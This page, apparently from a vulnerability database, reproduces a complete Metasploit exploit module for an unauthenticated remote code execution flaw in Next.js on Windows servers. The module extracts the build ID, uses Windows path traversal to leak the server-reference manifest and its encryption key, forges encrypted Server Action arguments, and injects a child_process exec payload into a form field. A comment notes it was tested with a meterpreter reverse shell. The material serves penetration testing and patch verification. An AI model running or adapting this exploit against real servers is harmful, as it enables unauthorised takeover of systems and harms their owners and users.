Lucene search
+L

Next.js Unauthenticated RCE on Windows Servers

🗓️ 26 Aug 2026 00:00:00Reported by Maksim Rogov, Bogyeom Lee, Avishek SarkarType 
metasploit
 metasploit
🔗 www.rapid7.com👁 6 Views

Unauthenticated remote code execution in Next.js 13.4.0-15.5.24 and 16.0.0-16.3.3 on Windows.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-75604
26 Aug 202611:48
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-75604
3 Sep 202617:07
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-75604
25 Aug 202619:06
githubexploit
cgr
Chainguard
CVE-2026-75604 vulnerabilities
11 Sep 202608:54
cgr
circl
Circl
CVE-2026-75604
25 Aug 202622:00
circl
cve
CVE
CVE-2026-75604
1 Sep 202621:23
cve
cvelist
Cvelist
CVE-2026-75604 Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
1 Sep 202621:23
cvelist
euvd
EUVD
EUVD-2026-69702
8 Sep 202620:51
euvd
github
Github Security Blog
Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
8 Sep 202620:51
github
kitploit
Kitploit
Project-CVE-2026-75604
10 Sep 202616:20
kitploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Next.js Unauthenticated RCE on Windows Servers',
        'Description' => %q{
          This module exploits a Remote Code Execution (RCE) vulnerability in Next.js applications
          hosted on Windows servers. Specifically crafted requests can execute arbitrary code on the target server.

          The affected versions include releases from 13.4.0 up to 15.5.24, and 16.0.0 up to 16.3.3,
          utilizing both Pages and App Routers without Cache Components.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maksim Rogov', # Metasploit Module
          'Bogyeom Lee',  # Vulnerability Discovery
          'Avishek Sarkar' # Vulnerability Discovery
        ],
        'References' => [
          ['CVE', '2026-75604'],
          ['URL', 'https://nextjs.org/blog/august-2026-security-release'],
          ['URL', 'https://github.com/vercel/next.js/security/advisories/GHSA-p293-qw3h-jr36'],
          ['URL', 'https://sybr1d.xyz/posts/nextjs-path-traversal-rce-windows/']
        ],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Next.js >=13.4 <15.5.24, >=16.0 <16.3.3 / Windows payload',
            {
              'Platform' => ['windows']
              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2026-08-26',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          # Session reliability depends on the page cache expiration time
          'Reliability' => [UNRELIABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to the Next.JS App', '/']),
        OptString.new('APP_ROUTER', [true, 'Path to the page using App Router']),
        OptString.new('PAGES_ROUTER', [true, 'Path to the page using Pages Router']),
        OptString.new('PATH_SEGMENT', [false, 'Any dynamic path segment for App and Pages routers']),
        OptString.new('TARGET_FIELD', [false, 'The specific form field name to inject the payload into, must match the last variable used in the closure (unset = defaults to the last field)']),
        OptString.new('ACTION_PATH', [true, 'Path to the page containing the Server Action form'])
      ]
    )
  end

  def parse_build_id
    return @cached_build_id if @cached_build_id

    path_segment = datastore['PATH_SEGMENT'].presence || Faker::Lorem.word
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, datastore['APP_ROUTER'], path_segment),
      'headers' => { 'Origin' => origin_header }
    )
    return nil unless res && res.code == 200

    doc = res.get_html_document
    return nil unless doc

    doc.css('script').each do |script|
      # Matches Next.js internal method calls like __next_f.push(...)
      # and captures the argument inside the parentheses (the state chunk contents)
      script.text.scan(/__next_f\.push\((.+)\)/).each do |match|
        json_arr = begin
          JSON.parse(match[0])
        rescue StandardError
          next
        end

        # Strips the chunk ID prefix at the beginning of the string (e.g., "1:{"key":"value"}" -> "{"key":"value"}")
        state = begin
          JSON.parse(json_arr[1].to_s.sub(/^\d+:/, ''))
        rescue StandardError
          next
        end

        if state.is_a?(Hash) && state.key?('b')
          @cached_build_id = state['b']
          return @cached_build_id
        end
      end
    end

    nil
  end

  def make_traversal(*parts, sequence: '..%5C')
    path = normalize_uri(*parts)

    # Strips the Next.js routing data prefix (/_next/data/[build_id])
    # to keep only internal directories for path traversal construction
    route_dirs = path.sub(%r{^/_next/data/[^/]+}, '').split('/')[1..-2] || []

    depth = [route_dirs.size + 1, 1].max

    # Locates the final path segment (file name or terminal directory)
    # and replaces it with the path traversal sequence
    path.sub(%r{/([^/]+)$}, "/#{(sequence * depth)}\\1")
  end

  def leak_manifest(build_id)
    return @cached_manifest if @cached_manifest

    # Trigger an App Router request with path traversal (..%5C) to escape the
    # expected cache directory on Windows and force the server to generate a
    # cache artifact (.html) on disk next to the internal manifest
    send_request_cgi(
      'method' => 'GET',
      'uri' => make_traversal(target_uri.path, datastore['APP_ROUTER'], 'server-reference-manifest'),
      'headers' => { 'Origin' => origin_header }
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => make_traversal(target_uri.path, "/_next/data/#{build_id}", datastore['PAGES_ROUTER'], 'server-reference-manifest.json'),
      'headers' => { 'Origin' => origin_header }
    )
    return nil unless res && res.code == 200

    json_doc = begin
      res.get_json_document
    rescue StandardError
      nil
    end
    return nil unless json_doc.is_a?(Hash) && (json_doc.key?('encryptionKey') || json_doc.key?('node'))

    @cached_manifest = json_doc
  end

  def parse_actions(action_path)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, action_path),
      'headers' => { 'Origin' => origin_header }
    )
    fail_with(Failure::Unreachable, 'Failed to load target page for action collection') unless res && res.code == 200

    actions = []
    res.get_html_document.css('form').each do |form|
      actions.concat(extract_actions_from_form(form))
    end

    fail_with(Msf::Module::Failure::UnexpectedReply, 'No compatible Server Actions found on the specified path') unless actions.any?

    actions
  end

  def extract_form_valid_fields(form)
    inputs = {}

    form.css('input, textarea, select').each do |i|
      name = i['name']
      next if name.nil? || name.empty?
      next if name.start_with?('$ACTION_')

      type = (i['type'] || 'text').downcase
      next if %w[submit button image file].include?(type)

      default_val = i.name == 'textarea' ? i.text.presence : i['value']

      inputs[name] = default_val.presence || Rex::Text.rand_text_alphanumeric(6..12)
    end

    inputs
  end

  def extract_actions_from_form(form)
    valid_fields = extract_form_valid_fields(form)
    return [] if valid_fields.empty?

    target_field = form.css('input[type="text"], textarea').map { |i| i['name'] }.find { |n| valid_fields.key?(n) } || valid_fields.keys.last

    form_actions = []
    form.css('input[name]').each do |input|
      ref_key = input['name']
      next unless ref_key&.start_with?('$ACTION_REF_')

      ref = ref_key.sub('$ACTION_REF_', '')
      desc_node = form.at("input[@name='$ACTION_#{ref}:0']")
      desc = desc_node ? desc_node['value'] : nil
      next unless desc

      action_id = begin
        JSON.parse(desc)['id']
      rescue StandardError
        nil
      end
      next unless action_id

      form_actions << { reference: ref, id: action_id, field: target_field, valid_fields: valid_fields }
    end

    form_actions
  end

  def encrypt_bound_args(action_id, encryption_key)
    flight = "1:{}\n0:[\"$1:constructor:constructor\"]\n"
    iv = SecureRandom.random_bytes(16)
    plaintext = action_id.to_s + flight

    key_bytes = begin Base64.strict_decode64(encryption_key.to_s)
    rescue ArgumentError
      fail_with(Failure::UnexpectedReply, 'Encryption key is not valid base64')
    end
    unless [16, 24, 32].include?(key_bytes.bytesize)
      fail_with(Failure::UnexpectedReply, "Unexpected encryption key length: #{key_bytes.bytesize}")
    end

    cipher = OpenSSL::Cipher.new("aes-#{key_bytes.bytesize * 8}-gcm")
    cipher.encrypt
    cipher.key = key_bytes
    cipher.iv_len = 16
    cipher.iv = iv
    cipher.auth_data = ''

    ciphertext = cipher.update(plaintext) + cipher.final
    tag = cipher.auth_tag

    Base64.strict_encode64(iv + ciphertext + tag)
  end

  def origin_header
    full_uri('', vhost_uri: true).chomp('/')
  end

  def detect_and_report_service?
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'headers' => { 'Origin' => origin_header }
    })
    return false unless res

    is_nextjs = (res.headers['X-Powered-By'] =~ /Next\.js/i) ||
                res.body.include?('/_next/static/') ||
                res.body.include?('__NEXT_DATA__') ||
                res.body.include?('__next_f.push')
    return false unless is_nextjs

    @service = report_service(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: ssl ? 'https' : 'http',
      info: 'Next.js application'
    )

    true
  end

  def check
    return Exploit::CheckCode::Safe('Target is not running Next.js or did not respond') unless detect_and_report_service?

    build_id = parse_build_id
    return Exploit::CheckCode::Unknown('Failed to retrieve build ID. Target may not be running Next.js') unless build_id

    manifest = leak_manifest(build_id)
    return Exploit::CheckCode::Safe('Target is safe or cache path is protected (manifest could not be leaked)') unless manifest&.key?('encryptionKey')

    report_vuln(
      host: rhost,
      port: rport,
      proto: 'tcp',
      service: @service,
      name: name.to_s,
      refs: references,
      info: "Module #{fullname} found vulnerable host"
    )
    Exploit::CheckCode::Vulnerable("Vulnerable build ID found: #{build_id} and encryption key successfully leaked")
  rescue StandardError
    Exploit::CheckCode::Unknown('An error occurred while checking the target.')
  end

  def build_post_data(reference, action_id, encrypted_args, valid_fields)
    js_bytes = "String.fromCharCode(#{payload.encoded.bytes.join(',')})"
    js_payload = "return process.mainModule.require('child_process').exec(#{js_bytes})"

    post_data = [
      { 'name' => "$ACTION_REF_#{reference}", 'data' => '' },
      { 'name' => "$ACTION_#{reference}:0", 'data' => JSON.dump({ 'id' => action_id, 'bound' => '$@1' }) },
      { 'name' => "$ACTION_#{reference}:1", 'data' => '["$@2"]' },
      { 'name' => "$ACTION_#{reference}:2", 'data' => JSON.dump(encrypted_args) }
    ]

    target_field = datastore['TARGET_FIELD']
    payload_field_name = (target_field.present? && valid_fields.key?(target_field)) ? target_field : valid_fields.keys.last

    valid_fields.each do |field_name, default_value|
      data_value = (field_name == payload_field_name) ? js_payload : default_value
      post_data << { 'name' => field_name, 'data' => data_value }
    end

    post_data
  end

  def send_exploit_request(reference, action_id, encrypted_args, valid_fields)
    post_data = build_post_data(reference, action_id, encrypted_args, valid_fields)

    data = Rex::MIME::Message.new
    post_data.each do |field|
      data.add_part(field['data'], nil, nil, "form-data; name=\"#{field['name']}\"")
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, datastore['ACTION_PATH']),
      'headers' => { 'Origin' => origin_header },
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'vars_get' => {}
    )
    fail_with(Failure::Unreachable, "#{peer} - No response from target") unless res

    if res.code == 500
      fail_with(Failure::UnexpectedReply, "#{peer} - Server returned 500 Internal Server Error. This usually indicates a SyntaxError (payload might have landed in the wrong place instead of the last argument in the closure. Try specifying TARGET_FIELD manually).")
    elsif res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code: #{res.code}")
    end

    res
  end

  def exploit
    print_status('Fetching application Build ID...')
    build_id = parse_build_id
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not extract build ID from response') unless build_id
    print_good("Successfully retrieved Build ID: #{build_id}")

    print_status('Leaking server reference manifest...')
    manifest = leak_manifest(build_id)
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Failed to leak server reference manifest') unless manifest
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Encryption key missing in manifest') unless manifest&.key?('encryptionKey')
    print_good("Successfully leaked manifest and encryption key: #{manifest['encryptionKey']}")

    print_status("Searching for available Server Actions at path: #{datastore['ACTION_PATH']}...")
    actions = parse_actions(datastore['ACTION_PATH'])

    selected_action = actions.find { |act| manifest.dig('node', act[:id]) }
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Target vulnerable Server Action node not found in manifest') unless selected_action

    reference = selected_action[:reference]
    action_id = selected_action[:id]
    valid_fields = selected_action[:valid_fields]
    print_good("Selected Action ID: #{action_id} (Ref: #{reference})")

    print_status('Encrypting bound arguments payload...')
    encrypted_args = encrypt_bound_args(action_id, manifest['encryptionKey'])

    print_status('Sending exploit request to target server...')
    send_exploit_request(reference, action_id, encrypted_args, valid_fields)
    print_good('Received HTTP 200 OK response, awaiting payload execution...')
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation